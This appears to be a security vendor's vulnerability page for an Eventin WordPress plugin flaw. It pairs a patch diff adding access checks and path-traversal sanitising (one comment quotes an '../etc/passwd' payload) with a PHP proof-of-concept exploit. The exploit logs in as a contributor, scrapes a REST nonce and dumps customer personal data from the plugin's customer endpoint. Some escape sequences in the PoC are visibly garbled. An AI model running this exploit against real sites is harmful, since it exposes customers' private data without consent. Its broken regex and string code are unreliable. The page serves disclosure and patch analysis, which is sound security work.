+        if ( ! current_user_can( 'etn_manage_organizer' ) && ! current_user_can( 'etn_manage_event' ) ) {
+            return false;
+        }
+
+        $ids = ! empty( $request['ids'] ) ? (array) $request['ids'] : [ $request['id'] ];
+
+        $ids = array_filter( array_map( 'absint', $ids ) );
+
+        if ( ! $ids ) {
+            return false;
+        }
+
+        foreach ( $ids as $id ) {
+            if ( ! Ownership::can_manage_user( $id ) ) {
+                return false;
+            }
+        }
+
+        return true;
     }

     /**
@@ -950,6 +980,24 @@
             return false;
         }

+        // Creating a "speaker" for an email that already belongs to a WordPress
+        // user does not create anything — it adds plugin roles to that existing
+        // account and overwrites its user meta. That is an edit of someone
+        // else's account, so it needs the same `edit_user` gate the update path
+        // already applies. Without this, a Contributor could name an
+        // administrator's email and rewrite their profile.
+        //
+        // This method is reached from BOTH create_item() and update_item(), so
+        // guarding here covers the create path that was missed and the
+        // email-change branch of the update path.
+        if ( ! current_user_can( 'edit_user', $user->ID ) ) {
+            return new WP_Error(
+                'rest_forbidden',
+                __( 'Sorry, you are not allowed to modify this user.', 'eventin' ),
+                [ 'status' => 403 ]
+            );
+        }
+
         $updated_roles = [];

         if ( is_array( $roles ) ) {
--- a/wp-event-solution/core/speaker/SpeakerTemplate.php
+++ b/wp-event-solution/core/speaker/SpeakerTemplate.php
@@ -55,6 +55,12 @@
         $default_template_name = "speaker-one";
         $settings              = etn_get_option();
         $template_name         = !empty( $settings['speaker_template'] ) ? $settings['speaker_template'] : $default_template_name;
+
+        // The stored value is only sanitize_text_field()'d, which preserves
+        // `../`, and it is concatenated into the include_once() calls below
+        // (including the theme-override branches). Confine it to a bare slug.
+        $template_name = EtnUtilsHelper::sanitize_template_slug( $template_name, $default_template_name );
+
         if( ETN_DEMO_SITE === true ) {

             switch( get_queried_object_id() ){
@@ -109,6 +115,9 @@
 	 * @return void
 	 */
 	public function prepare_speaker_template_path( $default_template_name, $template_name ) {
+		$default_template_name = EtnUtilsHelper::sanitize_template_slug( $default_template_name, 'speaker-one' );
+		$template_name         = EtnUtilsHelper::sanitize_template_slug( $template_name, $default_template_name );
+
 		$arr = [
 			'speaker-one',
 			'speaker-two-lite',
--- a/wp-event-solution/core/speaker/template-functions.php
+++ b/wp-event-solution/core/speaker/template-functions.php
@@ -155,6 +155,14 @@
         $default_template_name = "speaker-one";
         $settings              = etn_get_option();
         $template_name         = !empty( $settings['speaker_template'] ) ? $settings['speaker_template'] : $default_template_name;
+
+        // The stored value is only sanitize_text_field()'d, which preserves
+        // `../`, and it is concatenated into the include_once() calls below
+        // (including the theme-override branches, which never reach
+        // prepare_speaker_template_path). Confine it to a bare slug here so
+        // every branch downstream is safe.
+        $template_name = EtnUtilsHelper::sanitize_template_slug( $template_name, $default_template_name );
+
         if( ETN_DEMO_SITE === true ) {

             switch( get_queried_object_id() ){
--- a/wp-event-solution/eventin.php
+++ b/wp-event-solution/eventin.php
@@ -10,7 +10,7 @@
  * Plugin Name:       Eventin
  * Plugin URI:        https://themewinter.com/eventin/
  * Description:       Simple and Easy to use Event Management Solution
- * Version:           4.1.19
+ * Version:           4.1.20
  * Author:            Themewinter
  * Author URI:        https://themewinter.com/
  * License:           GPL-2.0+
@@ -44,7 +44,7 @@
 	 * @var string The plugin version.
 	 */
 	public static function version() {
-		return "4.1.19";
+		return "4.1.20";
 	}
     /**
      * Initializes the Wpeventin() class
--- a/wp-event-solution/utils/helper.php
+++ b/wp-event-solution/utils/helper.php
@@ -1503,15 +1503,54 @@
         }

         /**
-         * Undocumented function
+         * Confine a stored template name to a bare slug.
          *
-         * @param [type] $default_template_name
-         * @param [type] $template_name
+         * Template names come from the settings option, which is written
+         * through sanitize_text_field() — that strips tags but happily
+         * preserves `../`, and the value is then concatenated into an
+         * include_once(). Anything that is not already a plain `[A-Za-z0-9_-]`
+         * slug is REJECTED outright in favour of the caller's default.
          *
-         * @return void
+         * The value is matched as-is rather than being reduced with basename()
+         * first: basename('../../../../etc/passwd') is 'passwd', which is a
+         * valid-looking slug, so reducing first would silently accept a
+         * traversal payload as a "clean" name. Anything containing a path
+         * separator, a dot, a null byte or an encoded sequence is not a
+         * template name and must not be massaged into one.
+         *
+         * @since 4.1.20
+         *
+         * @param string $template_name Untrusted template slug.
+         * @param string $default       Known-good fallback slug.
+         *
+         * @return string A safe slug.
+         */
+        public static function sanitize_template_slug($template_name, $default)
+        {
+            if (! is_string($template_name)) {
+                return $default;
+            }
+
+            if (! preg_match('/^[A-Za-z0-9_-]+$/', $template_name)) {
+                return $default;
+            }
+
+            return $template_name;
+        }
+
+        /**
+         * Build the include path for a single-speaker template.
+         *
+         * @param string $default_template_name Fallback slug.
+         * @param string $template_name         Slug from settings (untrusted).
+         *
+         * @return string Absolute path to a template file.
          */
         public static function prepare_speaker_template_path($default_template_name, $template_name)
         {
+            $default_template_name = self::sanitize_template_slug($default_template_name, 'speaker-one');
+            $template_name         = self::sanitize_template_slug($template_name, $default_template_name);
+
             $arr = [
                 'speaker-one',
                 'speaker-two-lite',
--- a/wp-event-solution/vendor/composer/autoload_classmap.php
+++ b/wp-event-solution/vendor/composer/autoload_classmap.php
@@ -72,6 +72,7 @@
     'Etn_Wpml' => $baseDir . '/core/wpml/init.php',
     'Eventin\Abstracts\CustomPostType' => $baseDir . '/base/Abstracts/CustomPostType.php',
     'Eventin\Abstracts\Provider' => $baseDir . '/base/Abstracts/Provider.php',
+    'Eventin\AccessControl\Ownership' => $baseDir . '/core/AccessControl/Ownership.php',
     'Eventin\AccessControl\Permission' => $baseDir . '/core/AccessControl/Permission.php',
     'Eventin\AccessControl\PermissionManager' => $baseDir . '/core/AccessControl/PermissionManager.php',
     'Eventin\Activate' => $baseDir . '/base/Activate.php',
--- a/wp-event-solution/vendor/composer/autoload_static.php
+++ b/wp-event-solution/vendor/composer/autoload_static.php
@@ -105,6 +105,7 @@
         'Etn_Wpml' => __DIR__ . '/../..' . '/core/wpml/init.php',
         'Eventin\Abstracts\CustomPostType' => __DIR__ . '/../..' . '/base/Abstracts/CustomPostType.php',
         'Eventin\Abstracts\Provider' => __DIR__ . '/../..' . '/base/Abstracts/Provider.php',
+        'Eventin\AccessControl\Ownership' => __DIR__ . '/../..' . '/core/AccessControl/Ownership.php',
         'Eventin\AccessControl\Permission' => __DIR__ . '/../..' . '/core/AccessControl/Permission.php',
         'Eventin\AccessControl\PermissionManager' => __DIR__ . '/../..' . '/core/AccessControl/PermissionManager.php',
         'Eventin\Activate' => __DIR__ . '/../..' . '/base/Activate.php',
--- a/wp-event-solution/vendor/composer/installed.php
+++ b/wp-event-solution/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => 'arraytics/eventin',
         'pretty_version' => 'dev-develop',
         'version' => 'dev-develop',
-        'reference' => '9f8471d814cfef1f191e06246301e6f54198aabb',
+        'reference' => 'a9c15a5aa1f4fbb176ac27c272647cde331c7cb0',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         'arraytics/eventin' => array(
             'pretty_version' => 'dev-develop',
             'version' => 'dev-develop',
-            'reference' => '9f8471d814cfef1f191e06246301e6f54198aabb',
+            'reference' => 'a9c15a5aa1f4fbb176ac27c272647cde331c7cb0',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13168 - Eventin – Event Calendar, Tickets, Registration, Booking & WooCommerce < 4.1.20 - Authenticated (Contributor+) Information Exposure

// Configuration: Replace with target site URL and contributor credentials.
$target_url = 'https://target-site.com';
$username = 'contributor_username';
$password = 'contributor_password';

// 1. Authenticate via the WordPress REST API to obtain cookies and nonce.
$auth_response = wp_remote_post($target_url . '/wp-login.php', [
    'body' => [
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1',
    ],
    'headers' => ['Cookie' => 'wordpress_test_cookie=WP Cookie check'],
    'timeout' => 30,
]);

if (is_wp_error($auth_response)) {
    die('Authentication request failed: ' . $auth_response->get_error_message());
}

// Extract cookies from the response headers.
$cookies = wp_remote_retrieve_headers($auth_response)->getAll()['set-cookie'];
$cookie_string = '';
foreach ($cookies as $cookie) {
    $parts = explode(';', $cookie);
    if (strpos($parts[0], '=') !== false) {
        $cookie_string .= trim($parts[0]) . '; ';
    }
}

// 2. Fetch a page that contains a valid nonce. The admin dashboard or a page with REST calls works.
$page_response = wp_remote_get($target_url . '/wp-admin/', [
    'headers' => ['Cookie' => $cookie_string],
    'timeout' => 30,
]);

if (is_wp_error($page_response)) {
    die('Dashboard request failed: ' . $page_response->get_error_message());
}

$page_body = wp_remote_retrieve_body($page_response);

// Extract `wp_rest` nonce from the page. Adjust regex if needed for your WP version/theme.
preg_match('/"restNonce":"([a-f0-9]+)"/', $page_body, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';
if (empty($nonce)) {
    // Fallback: Look for the nonce in a script tag.
    preg_match('/wpApiSettings.*?nonce"s*:s*"([a-f0-9]+)"/', $page_body, $matches2);
    $nonce = isset($matches2[1]) ? $matches2[1] : '';
}

if (empty($nonce)) {
    die('Failed to obtain a REST API nonce. The restNonce is required for exploitation.');
}

echo "[+] Obtained Nonce: " . $nonce . PHP_EOL;

// 3. Exploit the vulnerable endpoint to list all customers (PII).
// This endpoint, `eventin/v1/customer`, previously allowed users with `etn_manage_event` capability (Contributor+) to access it.
$exploit_url = $target_url . '/wp-json/eventin/v1/customer';
$response = wp_remote_get($exploit_url, [
    'headers' => [
        'Cookie' => $cookie_string,
        'X-WP-Nonce' => $nonce,
    ],
    'timeout' => 30,
]);

if (is_wp_error($response)) {
    die('Exploit request failed: ' . $response->get_error_message());
}

$body = wp_remote_retrieve_body($response);
$http_code = wp_remote_retrieve_response_code($response);

echo "[+] Exploit Request URL: " . $exploit_url . PHP_EOL;
echo "[+] HTTP Status: " . $http_code . PHP_EOL;
echo "[+] Response Body: " . $body . PHP_EOL;

// Check if the response contains customer data.
if (strpos($body, '"first_name"') !== false) {
    echo "[+] Vulnerability confirmed: Exposed customer data.n";
} else {
    echo "[-] The target may be patched, or the user lacks the required capability.n";
}

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.